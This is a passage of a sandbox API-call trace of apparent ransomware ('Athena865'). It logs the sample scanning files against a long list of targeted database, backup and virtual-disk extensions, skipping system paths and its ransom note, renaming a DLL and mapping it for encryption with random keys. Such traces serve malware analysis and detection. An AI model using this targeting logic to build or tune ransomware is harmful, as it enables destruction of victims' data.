lpString2="trm") returned -1 [0120.116] lstrlenW (lpString="udb") returned 3 [0120.116] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0120.116] lstrlenW (lpString="udl") returned 3 [0120.116] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0120.116] lstrlenW (lpString="usr") returned 3 [0120.116] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0120.116] lstrlenW (lpString="v12") returned 3 [0120.116] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0120.116] lstrlenW (lpString="vis") returned 3 [0120.116] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0120.116] lstrlenW (lpString="vpd") returned 3 [0120.116] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0120.116] lstrlenW (lpString="vvv") returned 3 [0120.116] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0120.116] lstrlenW (lpString="wdb") returned 3 [0120.116] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0120.116] lstrlenW (lpString="wmdb") returned 4 [0120.116] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0120.116] lstrlenW (lpString="wrk") returned 3 [0120.117] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0120.117] lstrlenW (lpString="xdb") returned 3 [0120.117] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0120.117] lstrlenW (lpString="xld") returned 3 [0120.117] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0120.117] lstrlenW (lpString="xmlff") returned 5 [0120.117] lstrcmpiW (lpString1="l.dll", lpString2="xmlff") returned -1 [0120.117] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll.Athena865") returned 80 [0120.117] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll.Athena865" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll.athena865"), dwFlags=0x1) returned 1 [0120.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll.Athena865" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0120.119] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=44457320) returned 1 [0120.119] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0120.119] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0120.119] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0120.119] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0120.120] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0120.120] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.120] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2a66070, lpName=0x0) returned 0x17c [0120.121] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x2a00000, dwNumberOfBytesToMap=0x66070) returned 0x2d50000 [0120.140] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0120.214] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0120.232] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0120.232] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0120.232] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0120.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0120.233] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0120.233] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0120.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.233] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0120.233] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0120.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0120.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0120.233] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0120.237] CloseHandle (hObject=0x17c) returned 1 [0120.237] CloseHandle (hObject=0x154) returned 1 [0120.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0120.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0120.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0120.245] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47fe200, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47fe200, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0xbc4568, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1 [0120.245] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0120.245] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0120.245] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2=".") returned 1 [0120.246] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2="..") returned 1 [0120.246] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2="windows") returned -1 [0120.246] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2="bootmgr") returned 1 [0120.246] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2="temp") returned -1 [0120.246] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2="pagefile.sys") returned -1 [0120.246] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2="boot") returned 1 [0120.246] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2="ids.txt") returned 1 [0120.246] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2="ntuser.dat") returned -1 [0120.246] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2="perflogs") returned -1 [0120.246] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2="MSBuild") returned 1 [0120.246] lstrlenW (lpString="msmgdsrv.dll") returned 12 [0120.246] lstrcpyW (in: lpString1=0x241e8ba, lpString2="msmgdsrv.dll" | out: lpString1="msmgdsrv.dll") returned="msmgdsrv.dll" [0120.246] lstrlenW (lpString="msmgdsrv.dll") returned 12 [0120.246] lstrlenW (lpString="Athena865") returned 9 [0120.246] lstrcmpiW (lpString1="gdsrv.dll", lpString2="Athena865") returned 1 [0120.246] lstrlenW (lpString=".dll") returned 4 [0120.246] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2=".dll") returned 1 [0120.246] lstrlenW (lpString=".lnk") returned 4 [0120.246] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2=".lnk") returned 1 [0120.246] lstrlenW (lpString=".ini") returned 4 [0120.246] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2=".ini") returned 1 [0120.246] lstrlenW (lpString=".sys") returned 4 [0120.246] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2=".sys") returned 1 [0120.246] lstrlenW (lpString="msmgdsrv.dll") returned 12 [0120.246] lstrlenW (lpString="bak") returned 3 [0120.246] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0120.246] lstrlenW (lpString="ba_") returned 3 [0120.246] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0120.246] lstrlenW (lpString="dbb") returned 3 [0120.247] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0120.247] lstrlenW (lpString="vmdk") returned 4 [0120.247] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0120.247] lstrlenW (lpString="rar") returned 3 [0120.247] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0120.247] lstrlenW (lpString="zip") returned 3 [0120.247] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0120.247] lstrlenW (lpString="tgz") returned 3 [0120.247] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0120.247] lstrlenW (lpString="vbox") returned 4 [0120.247] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0120.247] lstrlenW (lpString="vdi") returned 3 [0120.247] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0120.247] lstrlenW (lpString="vhd") returned 3 [0120.247] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0120.247] lstrlenW (lpString="vhdx") returned 4 [0120.247] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0120.247] lstrlenW (lpString="avhd") returned 4 [0120.247] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0120.247] lstrlenW (lpString="db") returned 2 [0120.247] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0120.247] lstrlenW (lpString="db2") returned 3 [0120.247] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0120.247] lstrlenW (lpString="db3") returned 3 [0120.248] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0120.248] lstrlenW (lpString="dbf") returned 3 [0120.248] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0120.248] lstrlenW (lpString="mdf") returned 3 [0120.248] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0120.248] lstrlenW (lpString="mdb") returned 3 [0120.248] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0120.248] lstrlenW (lpString="sql") returned 3 [0120.248] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0120.248] lstrlenW (lpString="sqlite") returned 6 [0120.248] lstrcmpiW (lpString1="rv.dll", lpString2="sqlite") returned -1 [0120.248] lstrlenW (lpString="sqlite3") returned 7 [0120.248] lstrcmpiW (lpString1="srv.dll", lpString2="sqlite3") returned 1 [0120.248] lstrlenW (lpString="sqlitedb") returned 8 [0120.248] lstrcmpiW (lpString1="dsrv.dll", lpString2="sqlitedb") returned -1 [0120.248] lstrlenW (lpString="xml") returned 3 [0120.248] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0120.248] lstrlenW (lpString="$er") returned 3 [0120.248] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0120.248] lstrlenW (lpString="4dd") returned 3 [0120.248] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0120.248] lstrlenW (lpString="4dl") returned 3 [0120.248] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0120.248] lstrlenW (lpString="^^^") returned 3 [0120.248] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0120.248] lstrlenW (lpString="abs") returned 3 [0120.248] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0120.248] lstrlenW (lpString="abx") returned 3 [0120.249] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0120.249] lstrlenW (lpString="accdb") returned 5 [0120.249] lstrcmpiW (lpString1="v.dll", lpString2="accdb") returned 1 [0120.249] lstrlenW (lpString="accdc") returned 5 [0120.249] lstrcmpiW (lpString1="v.dll", lpString2="accdc") returned 1 [0120.249] lstrlenW (lpString="accde") returned 5 [0120.249] lstrcmpiW (lpString1="v.dll", lpString2="accde") returned 1 [0120.249] lstrlenW (lpString="accdr") returned 5 [0120.249] lstrcmpiW (lpString1="v.dll", lpString2="accdr") returned 1 [0120.249] lstrlenW (lpString="accdt") returned 5 [0120.249] lstrcmpiW (lpString1="v.dll", lpString2="accdt") returned 1 [0120.249] lstrlenW (lpString="accdw") returned 5 [0120.249] lstrcmpiW (lpString1="v.dll", lpString2="accdw") returned 1 [0120.249] lstrlenW (lpString="accft") returned 5 [0120.249] lstrcmpiW (lpString1="v.dll", lpString2="accft") returned 1 [0120.249] lstrlenW (lpString="adb") returned 3 [0120.249] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0120.249] lstrlenW (lpString="adb") returned 3 [0120.249] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0120.249] lstrlenW (lpString="ade") returned 3 [0120.249] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0120.249] lstrlenW (lpString="adf") returned 3 [0120.249] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0120.249] lstrlenW (lpString="adn") returned 3 [0120.249] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0120.249] lstrlenW (lpString="adp") returned 3 [0120.249] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0120.249] lstrlenW (lpString="alf") returned 3 [0120.249] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0120.249] lstrlenW (lpString="ask") returned 3 [0120.250] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0120.250] lstrlenW (lpString="btr") returned 3 [0120.250] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0120.250] lstrlenW (lpString="cat") returned 3 [0120.250] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0120.250] lstrlenW (lpString="cdb") returned 3 [0120.250] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0120.250] lstrlenW (lpString="ckp") returned 3 [0120.250] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0120.250] lstrlenW (lpString="cma") returned 3 [0120.250] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0120.250] lstrlenW (lpString="cpd") returned 3 [0120.250] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0120.250] lstrlenW (lpString="dacpac") returned 6 [0120.250] lstrcmpiW (lpString1="rv.dll", lpString2="dacpac") returned 1 [0120.250] lstrlenW (lpString="dad") returned 3 [0120.250] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0120.250] lstrlenW (lpString="dadiagrams") returned 10 [0120.250] lstrcmpiW (lpString1="mgdsrv.dll", lpString2="dadiagrams") returned 1 [0120.250] lstrlenW (lpString="daschema") returned 8 [0120.250] lstrcmpiW (lpString1="dsrv.dll", lpString2="daschema") returned 1 [0120.250] lstrlenW (lpString="db-journal") returned 10 [0120.250] lstrcmpiW (lpString1="mgdsrv.dll", lpString2="db-journal") returned 1 [0120.250] lstrlenW (lpString="db-shm") returned 6 [0120.250] lstrcmpiW (lpString1="rv.dll", lpString2="db-shm") returned 1 [0120.250] lstrlenW (lpString="db-wal") returned 6 [0120.250] lstrcmpiW (lpString1="rv.dll", lpString2="db-wal") returned 1 [0120.250] lstrlenW (lpString="dbc") returned 3 [0120.250] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0120.251] lstrlenW (lpString="dbs") returned 3 [0120.251] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0120.251] lstrlenW (lpString="dbt") returned 3 [0120.251] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0120.251] lstrlenW (lpString="dbv") returned 3 [0120.251] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0120.251] lstrlenW (lpString="dbx") returned 3 [0120.251] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0120.251] lstrlenW (lpString="dcb") returned 3 [0120.251] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0120.251] lstrlenW (lpString="dct") returned 3 [0120.251] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0120.251] lstrlenW (lpString="dcx") returned 3 [0120.251] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0120.251] lstrlenW (lpString="ddl") returned 3 [0120.251] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0120.251] lstrlenW (lpString="dlis") returned 4 [0120.251] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0120.251] lstrlenW (lpString="dp1") returned 3 [0120.251] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0120.251] lstrlenW (lpString="dqy") returned 3 [0120.251] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0120.251] lstrlenW (lpString="dsk") returned 3 [0120.251] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0120.251] lstrlenW (lpString="dsn") returned 3 [0120.251] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0120.251] lstrlenW (lpString="dtsx") returned 4 [0120.251] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0120.252] lstrlenW (lpString="dxl") returned 3 [0120.252] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0120.252] lstrlenW (lpString="eco") returned 3 [0120.252] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0120.252] lstrlenW (lpString="ecx") returned 3 [0120.252] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0120.252] lstrlenW (lpString="edb") returned 3 [0120.252] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0120.252] lstrlenW (lpString="epim") returned 4 [0120.252] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0120.252] lstrlenW (lpString="fcd") returned 3 [0120.252] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0120.252] lstrlenW (lpString="fdb") returned 3 [0120.252] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0120.252] lstrlenW (lpString="fic") returned 3 [0120.252] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0120.252] lstrlenW (lpString="flexolibrary") returned 12 [0120.252] lstrlenW (lpString="fm5") returned 3 [0120.252] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0120.252] lstrlenW (lpString="fmp") returned 3 [0120.252] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0120.252] lstrlenW (lpString="fmp12") returned 5 [0120.252] lstrcmpiW (lpString1="v.dll", lpString2="fmp12") returned 1 [0120.252] lstrlenW (lpString="fmpsl") returned 5 [0120.252] lstrcmpiW (lpString1="v.dll", lpString2="fmpsl") returned 1 [0120.252] lstrlenW (lpString="fol") returned 3 [0120.252] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0120.252] lstrlenW (lpString="fp3") returned 3 [0120.253] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0120.253] lstrlenW (lpString="fp4") returned 3 [0120.253] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0120.253] lstrlenW (lpString="fp5") returned 3 [0120.253] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0120.253] lstrlenW (lpString="fp7") returned 3 [0120.253] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0120.253] lstrlenW (lpString="fpt") returned 3 [0120.253] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0120.253] lstrlenW (lpString="frm") returned 3 [0120.253] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0120.253] lstrlenW (lpString="gdb") returned 3 [0120.253] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0120.253] lstrlenW (lpString="gdb") returned 3 [0120.253] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0120.253] lstrlenW (lpString="grdb") returned 4 [0120.253] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0120.253] lstrlenW (lpString="gwi") returned 3 [0120.253] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0120.253] lstrlenW (lpString="hdb") returned 3 [0120.253] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0120.253] lstrlenW (lpString="his") returned 3 [0120.253] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0120.253] lstrlenW (lpString="ib") returned 2 [0120.253] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0120.253] lstrlenW (lpString="idb") returned 3 [0120.253] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0120.253] lstrlenW (lpString="ihx") returned 3 [0120.253] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0120.254] lstrlenW (lpString="itdb") returned 4 [0120.254] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0120.254] lstrlenW (lpString="itw") returned 3 [0120.254] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0120.254] lstrlenW (lpString="jet") returned 3 [0120.254] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0120.254] lstrlenW (lpString="jtx") returned 3 [0120.254] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0120.254] lstrlenW (lpString="kdb") returned 3 [0120.254] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0120.254] lstrlenW (lpString="kexi") returned 4 [0120.254] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0120.254] lstrlenW (lpString="kexic") returned 5 [0120.254] lstrcmpiW (lpString1="v.dll", lpString2="kexic") returned 1 [0120.254] lstrlenW (lpString="kexis") returned 5 [0120.254] lstrcmpiW (lpString1="v.dll", lpString2="kexis") returned 1 [0120.254] lstrlenW (lpString="lgc") returned 3 [0120.254] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0120.254] lstrlenW (lpString="lwx") returned 3 [0120.254] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0120.254] lstrlenW (lpString="maf") returned 3 [0120.254] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0120.254] lstrlenW (lpString="maq") returned 3 [0120.254] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0120.254] lstrlenW (lpString="mar") returned 3 [0120.254] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0120.254] lstrlenW (lpString="marshal") returned 7 [0120.254] lstrcmpiW (lpString1="srv.dll", lpString2="marshal") returned 1 [0120.254] lstrlenW (lpString="mas") returned 3 [0120.254] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0120.255] lstrlenW (lpString="mav") returned 3 [0120.255] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0120.255] lstrlenW (lpString="maw") returned 3 [0120.255] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0120.255] lstrlenW (lpString="mdbhtml") returned 7 [0120.255] lstrcmpiW (lpString1="srv.dll", lpString2="mdbhtml") returned 1 [0120.255] lstrlenW (lpString="mdn") returned 3 [0120.255] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0120.255] lstrlenW (lpString="mdt") returned 3 [0120.255] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0120.255] lstrlenW (lpString="mfd") returned 3 [0120.255] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0120.255] lstrlenW (lpString="mpd") returned 3 [0120.255] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0120.255] lstrlenW (lpString="mrg") returned 3 [0120.255] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0120.255] lstrlenW (lpString="mud") returned 3 [0120.255] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0120.255] lstrlenW (lpString="mwb") returned 3 [0120.255] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0120.255] lstrlenW (lpString="myd") returned 3 [0120.255] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0120.255] lstrlenW (lpString="ndf") returned 3 [0120.255] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0120.255] lstrlenW (lpString="nnt") returned 3 [0120.255] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0120.255] lstrlenW (lpString="nrmlib") returned 6 [0120.255] lstrcmpiW (lpString1="rv.dll", lpString2="nrmlib") returned 1 [0120.255] lstrlenW (lpString="ns2") returned 3 [0120.255] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0120.256] lstrlenW (lpString="ns3") returned 3 [0120.256] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0120.256] lstrlenW (lpString="ns4") returned 3 [0120.256] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0120.256] lstrlenW (lpString="nsf") returned 3 [0120.256] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0120.256] lstrlenW (lpString="nv") returned 2 [0120.256] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0120.256] lstrlenW (lpString="nv2") returned 3 [0120.256] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0120.256] lstrlenW (lpString="nwdb") returned 4 [0120.256] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0120.256] lstrlenW (lpString="nyf") returned 3 [0120.256] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0120.256] lstrlenW (lpString="odb") returned 3 [0120.256] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0120.256] lstrlenW (lpString="odb") returned 3 [0120.256] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0120.256] lstrlenW (lpString="oqy") returned 3 [0120.256] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0120.256] lstrlenW (lpString="ora") returned 3 [0120.256] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0120.256] lstrlenW (lpString="orx") returned 3 [0120.256] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0120.256] lstrlenW (lpString="owc") returned 3 [0120.256] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0120.256] lstrlenW (lpString="p96") returned 3 [0120.256] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0120.256] lstrlenW (lpString="p97") returned 3 [0120.257] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0120.257] lstrlenW (lpString="pan") returned 3 [0120.257] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0120.257] lstrlenW (lpString="pdb") returned 3 [0120.257] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0120.257] lstrlenW (lpString="pdm") returned 3 [0120.257] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0120.257] lstrlenW (lpString="pnz") returned 3 [0120.257] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0120.257] lstrlenW (lpString="qry") returned 3 [0120.257] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0120.257] lstrlenW (lpString="qvd") returned 3 [0120.257] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0120.257] lstrlenW (lpString="rbf") returned 3 [0120.257] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0120.257] lstrlenW (lpString="rctd") returned 4 [0120.257] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0120.257] lstrlenW (lpString="rod") returned 3 [0120.257] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0120.257] lstrlenW (lpString="rodx") returned 4 [0120.257] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0120.257] lstrlenW (lpString="rpd") returned 3 [0120.257] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0120.257] lstrlenW (lpString="rsd") returned 3 [0120.257] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0120.257] lstrlenW (lpString="sas7bdat") returned 8 [0120.257] lstrcmpiW (lpString1="dsrv.dll", lpString2="sas7bdat") returned -1 [0120.257] lstrlenW (lpString="sbf") returned 3 [0120.257] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0120.257] lstrlenW (lpString="scx") returned 3 [0120.258] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0120.258] lstrlenW (lpString="sdb") returned 3 [0120.258] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0120.258] lstrlenW (lpString="sdc") returned 3 [0120.258] 